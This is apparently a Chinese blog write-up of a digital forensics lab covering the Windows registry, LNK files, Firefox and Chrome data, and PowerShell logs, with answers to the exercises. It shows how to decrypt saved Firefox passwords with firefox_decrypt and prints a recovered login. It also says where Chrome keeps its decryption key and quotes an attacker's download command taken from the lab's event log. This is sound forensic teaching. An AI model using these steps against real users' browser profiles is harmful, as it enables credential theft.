常见的Windows程序

Windows操作系统由大量程序组成,包括文件、目录、日志、注册表、浏览器历史记录、用户帐户和其他对其正常运行至关重要的重要数据。

在本实验室中,我们将探索一些在进行取证调查时有用的此类程序,我们将了解此类程序的放置位置以及如何从中提取有价值的信息。

Windows注册表

Windows注册表是一个分层数据库,用于存储用户、应用程序和硬件设备的配置。微软是这样描述的:

注册表简介:注册表是windows系统中具有层次结构的核心数据库,储存的数据对windows和Windows上运行的应用程序和服务至关重要。注册表时帮助windows控制硬件、软件、用户环境和windows界面的一套数据文件。

Windows注册表中的五个主要根键(或配置单元)。这些根键在Windows操作系统的管理和配置中起着至关重要的作用。以下是每个根键的简要说明:

HKEY_CURRENT_USER (HKCU):

  • 存储当前登录用户的配置信息。
  • 包括用户桌面设置、程序首选项等个性化设置。
  • 大部分与用户界面相关的设置都会存储在这里。

HKEY_USERS (HKU):

  • 存储系统上所有用户的配置信息。
  • 每个用户的配置信息都保存在一个独立的子键中,这些子键通常与用户的SID(安全标识符)相关联。
  • 当用户登录时,其对应的配置信息会被加载到HKEY_CURRENT_USER中。

HKEY_LOCAL_MACHINE (HKLM):

  • 存储计算机上所有用户的系统级配置信息。
  • 包括系统硬件设置、驱动程序信息、已安装的程序等。
  • 由于这些信息是全局的,所以它们对计算机上的所有用户都是可见的。

HKEY_CLASSES_ROOT (HKCR):

  • 存储文件关联和程序扩展信息。
  • 当用户双击某个文件时,Windows会查找HKCR来确定应该打开哪个程序。
  • 它还包含有关Windows对象(如COM对象和OLE对象)的信息。

HKEY_CURRENT_CONFIG (HKCC):

  • 存储当前系统的硬件配置文件信息。
  • 这些信息在启动过程中被加载,用于配置系统硬件。
  • 通常包含有关设备驱动程序、系统资源等的设置。

这些根键是Windows注册表结构的基础,它们下面还有大量的子键和值,共同构成了Windows操作系统配置和管理的核心。由于注册表包含了大量关键的系统设置和配置信息,因此对其进行修改时需要格外小心,以避免系统不稳定或崩溃。

Windows注册表是一个复杂的层次结构数据库,其中的每个键(Key)都可以包含子键(Subkey)和值(Value),形成一个树状结构。这种结构允许系统有效地组织和存储大量的配置信息。

以鼠标配置为例,存储在Computer\HKEY_CURRENT_USER\Control Panel\Mouse路径下。这个路径反映了注册表的层次结构:从根键HKEY_CURRENT_USER开始,通过Control Panel子键,最终到达Mouse子键,其中包含了与鼠标相关的各种配置信息。

通过修改这些值,我们可以改变鼠标的灵敏度、双击速度等参数。当然,由于注册表涉及到系统的核心配置,对其进行不当的修改可能会导致系统不稳定或出现问题。因此,在修改注册表之前,最好备份相关的键或整个注册表,以防万一。

可以使用内置注册表编辑器查看和修改注册表项。以下是打开它的两种方法:通过搜索栏或使用运行命令(Win + R)。

NTUSER.DAT

NTUSER.DAT是Windows操作系统中注册表的用户配置文件,该文件以二进制格式存储,包含了当前用户在Windows系统中的各种配置信息、偏好设置以及其他个性化选项。这些配置信息包括但不限于桌面图标位置、文件夹选项、个人化主题、浏览器历史记录等。它是注册表的一个分支,存储了当前用户的设置信息。

NTUSER.DAT文件通常位于用户个人目录下的“C:\Users\用户名\NTUSER.DAT”路径中,其中“用户名”是当前用户的登录名。由于该文件存储了用户的个性化设置和工作环境配置,因此不建议用户手动修改或删除它,否则可能会导致账户个性化设置丢失,恢复为默认状态。

如果确实需要修改或查看NTUSER.DAT文件的内容,可以使用特定的工具或命令进行访问和修改。例如,“regedit.exe”是一个集成在Windows中的注册表编辑器,用户可以使用它来浏览、修改、导出和导入注册表信息。

可以使用Eric Zimmerman的注册表资源管理器访问该文件的内容NTUSER.DAT,该工具可以从https://f001.backblazeb2.com/file/EricZimmermanTools/net6/RegistryExplorer.zip下载。

LNK文件

LNK文件是Windows和某些其他操作系统中用于创建指向文件、文件夹或程序的快捷方式的文件类型。这种快捷方式允许用户通过点击图标或链接来快速打开或访问目标项目,而无需浏览整个文件系统。

LNK文件通常具有以下特点:

  • 文件扩展名:LNK文件以.lnk作为文件扩展名,这是识别它们为快捷方式文件的关键。
  • 图标:在文件浏览器或桌面上,LNK文件通常显示一个小箭头图标,以区别于常规的文件或文件夹图标,表明它是一个快捷方式。
  • 指向目标:LNK文件包含一个指向实际文件、文件夹或程序的路径。当用户点击LNK文件时,系统会按照该路径打开或运行目标。
  • 位置:LNK文件可以放在任何用户认为方便的位置,如桌面、开始菜单、文件夹中,甚至可以在任务栏上固定。
  • 最近使用的文件:在Windows中,当你访问一个文件或文件夹时,它可能会出现在“最近使用的文件”列表中。这个列表通常通过LNK文件来跟踪用户最近访问的文件,但这并不意味着每次访问文件时都会创建一个新的LNK文件。实际上,“最近使用的文件”列表是通过系统内部的记录机制来维护的,而不是通过创建大量的LNK文件。
  • 可编辑性:LNK文件的属性,包括目标路径和图标,可以通过Windows的属性对话框或第三方工具进行编辑。
  • 安全风险:由于LNK文件可以指向任何文件或程序,因此它们有时也被用作恶意软件的载体。恶意软件创建者可能会创建指向恶意程序的LNK文件,然后诱导用户点击。因此,用户应该只信任来自可靠来源的LNK文件。

这些文件通常位于:

  • C:\Users%USERNAME%\Recent
  • C:\Users%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent
  • C:\Users%USERNAME%\AppData\Roaming\Microsoft\Office\Recent
  • C:\Users%USERNAME%\Desktop

LECmd(Link Explorer Command Line)是一个命令行工具,它允许用户查询LNK文件并提取有关这些文件的元数据。通过使用LECmd,可以获取LNK文件指向的原始文件的完整路径、文件的创建日期和时间、上次修改时间、上次访问时间等信息。这对于取证分析或系统管理员来说可能非常有用,特别是在需要追踪用户活动或识别潜在恶意软件活动时。

LECmd还可以提取其他信息,如桌面名称(即创建LNK文件的特定用户的桌面环境的名称)以及创建LNK文件的系统的MAC地址(如果LNK文件包含这样的信息)。这些信息对于确定文件创建的环境和可能的来源非常有价值。

该工具可以从https://github.com/EricZimmerman/LECmd下载。

网络浏览器

网络浏览器在全球范围内用于访问网站。在数字取证的背景下,网络浏览器可以提供有关用户浏览历史记录、cookie、下载的文件、保存的密码等的大量信息。此信息可用于确定用户可能在做什么,并识别任何潜在的可疑活动。

网上有许多浏览器,但我们只探讨两种最常用的浏览器:Firefox和Chrome。

火狐浏览器

Firefox将其在数字取证调查期间可能有价值的数据存储在该目录下C:\Users%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles。这包括cookie、保存的登录信息、浏览历史记录、书签以及存储在文件中的一些其他有用.sqlite信息.json。

要查看.json文件,我们可以使用任何文本编辑器来查看。然而,这些.sqlite文件需要一个数据库浏览器,例如sqlitebrowser Kali Linux内置的数据库浏览器。如果系统默认没有安装可以使用apt instll命令安装.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo apt install sqlitebrowser
[sudo] password for linus:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
linux-headers-5.15.0-88 linux-headers-5.15.0-88-generic linux-image-5.15.0-88-generic
linux-modules-5.15.0-88-generic linux-modules-extra-5.15.0-88-generic
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
libqscintilla2-qt5-15 libqscintilla2-qt5-l10n
Suggested packages:
libqscintilla2-doc

Firefox使用配置文件目录中文件中的主密钥对保存的登录信息进行加密。要提取用户名和密码,我们可以使用一个名为firefox_decrypt的工具,可以从https://github.com/unode/firefox_decrypt下载。

安装及使用:

1
2
$ git clone https://github.com/unode/firefox_decrypt 
$ python3 firefox_decrypt.py -h

谷歌浏览器

虽然我们详细介绍了如何使用该firefox_decrypt工具从Firefox中提取保存的密码,但我们不会深入探讨从Chrome中提取保存的密码的过程。然而,值得注意的是,Chrome在目录下存储其数据,包括保存的密码、cookie和其他有用信息C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default。这些数据默认是加密的,但密钥可以在目录中找到C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Local State。

windows日志

事件日志提供重要系统、安全和应用程序事件的记录。这些日志由 Windows 自动生成,可以在数字取证调查期间提供有价值的信息。

事件日志存储在C:\Windows\System32\winevt\Logs事件查看器(Windows 中的内置工具)中,并且可以使用事件查看器进行查看和分析。

在系统日志、安全日志和应用程序日志这三种类型的事件日志中,只有安全日志才是我们感兴趣的。可能包含安全相关事件的日志文件包括:

  • Security.evtx
  • Microsoft-Windows-Windows Defender%4Operational.evtx
  • Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx
  • Microsoft-Windows-PowerShell%4Operational.evtx

然而,值得注意的是,这些并不是在数字取证调查期间唯一可能有用的文件,但对于本实验室,我们只对这些文件感兴趣。每个事件都有一个与其关联的特定ID,可用于识别和过滤感兴趣的特定事件。

练习题

科目一

1.给定被入侵系统的注册表文件,回答以下问题:

注册表文件可以从https://github.com/vonderchild/digital-forensics-lab/blob/main/Lab 02/files/NTUSER.DAT下载

鼠标双击速度是多少?10秒(直接搜索关键词:Mouse,查看MouseSensitivity值)

注册表中记录的最近访问的输入路径是什么?C:\Windows\System32\calc.exe(搜索关键词:TypedPaths,查看值)

为了在系统上建立持久性,恶意软​​件向注册表添加的新值是什么?C:\Users\w\Desktop\malware.exe (直接搜索关键词:Run)

参考链接:

详解Windows注册表分析取证

Investigating Typed Paths

科目二

2.根据嫌疑人的Firefox个人资料,回答以下问题:

保存的登录信息中存储的用户名和密码是什么?主要是firefox_decrypt的使用。

1
2
3
4
5
6
7
$ python3 firefox_decrypt.py /home/linus/Downloads/Firefox/Profiles/s6upyldt.default-release/
2024-04-01 18:02:38,620 - WARNING - profile.ini not found in /home/linus/Downloads/Firefox/Profiles/s6upyldt.default-release/
2024-04-01 18:02:38,620 - WARNING - Continuing and assuming '/home/linus/Downloads/Firefox/Profiles/s6upyldt.default-release/' is a profile location

Website: https://www.reddit.com
Username: 'hackerman'
Password: 'sup3rs3cur3p4ssw0rd'

最常访问的网站是什么?通过浏览器日志,可以看到经常访问亚马逊网站,(www.amazon.com)

嫌疑人下载的文件的名称是什么?file:///C:/Users/w/Downloads/python-3.11.1-amd64(1).exe

Firefox配置文件可以从https://github.com/vonderchild/digital-forensics-lab/blob/main/Lab 02/files/Firefox.zip下载。

辅助:火狐各类sqlite文件说明

在火狐浏览器(Firefox)中,这些.sqlite文件都扮演着重要的角色,用于存储和管理各种浏览器数据。以下是这些文件的具体作用和解释:

  • content-prefs.sqlite:存储了关于网页内容的偏好设置,如是否允许某些网站使用JavaScript或弹出窗口等。
  • favicons.sqlite:存放了网站图标(favicon)的缓存。当你在地址栏输入网址时,这个文件帮助浏览器快速显示网站的图标。
  • permissions.sqlite:存储了网站权限信息,例如是否允许某个网站访问你的摄像头或麦克风,或者是否允许网站使用地理位置服务等。
  • protections.sqlite:可能与浏览器的安全保护功能相关,用于记录哪些网站或内容被标记为潜在威胁或需要特殊处理。
  • webappsstore.sqlite:存储了关于已安装或已下载的Web应用程序的信息。
  • cookies.sqlite:包含了浏览器中的cookie数据。Cookie是网站用来跟踪用户会话或存储用户偏好的小文件。
  • formhistory.sqlite:存储了用户在网页表单中输入的数据历史,如用户名、密码等。这有助于浏览器提供自动填充功能。
  • places.sqlite:是火狐浏览器中最核心的数据库文件之一,它包含了用户的书签、浏览历史和下载记录。这个文件是火狐浏览器用户配置文件中的重要组成部分。
  • storage.sqlite:存储了网站的本地存储数据,如Web SQL数据库或IndexedDB中的数据。这些数据通常用于增强网站的功能和性能。

这些.sqlite文件都是火狐浏览器的重要组成部分,它们共同确保了浏览器的正常运行和用户体验。在一般情况下,用户不需要直接操作这些文件,除非进行高级的数据恢复或迁移操作。如果对这些文件进行了不当的修改或删除,可能会导致浏览器数据丢失或功能异常。因此,在进行任何操作之前,请务必备份好重要的数据。

Places.sqlite说明

科目三

3.根据受感染系统的PowerShell事件日志,回答以下问题:

攻击者在系统上下载文件所执行的命令是什么?这道题整体比较简单,对powershell日志有一定的了解即可解答这道题,日志ID4104。

1
Invoke-WebRequest -UseBasicParsing -Uri https://raw.githubusercontent.com/vonderchild/digital-forensics-lab/main/Lab%202/files/file.ps1 -OutFile "file.ps1"

您能分析下载的文件并了解该文件的用途吗?

文件可以直接在相关路径下查看。借助大模型基本上可以知道下面的情况:这段代码将一段Base64编码的字符串解码为原始字符串,并将解码后的字符串输出到控制台。但是,它使用了ASCII解码方式,这可能不是最佳实践,因为Base64编码的文本可能包含非 ASCII字符。执行这段代码后,你将看到解码后的$flag变量的内容输出到PowerShell控制台。

事件日志文件可以从https://github.com/vonderchild/digital-forensics-lab/blob/main/Lab 02/files/Microsoft-Windows-PowerShell%254Operational.evtx下载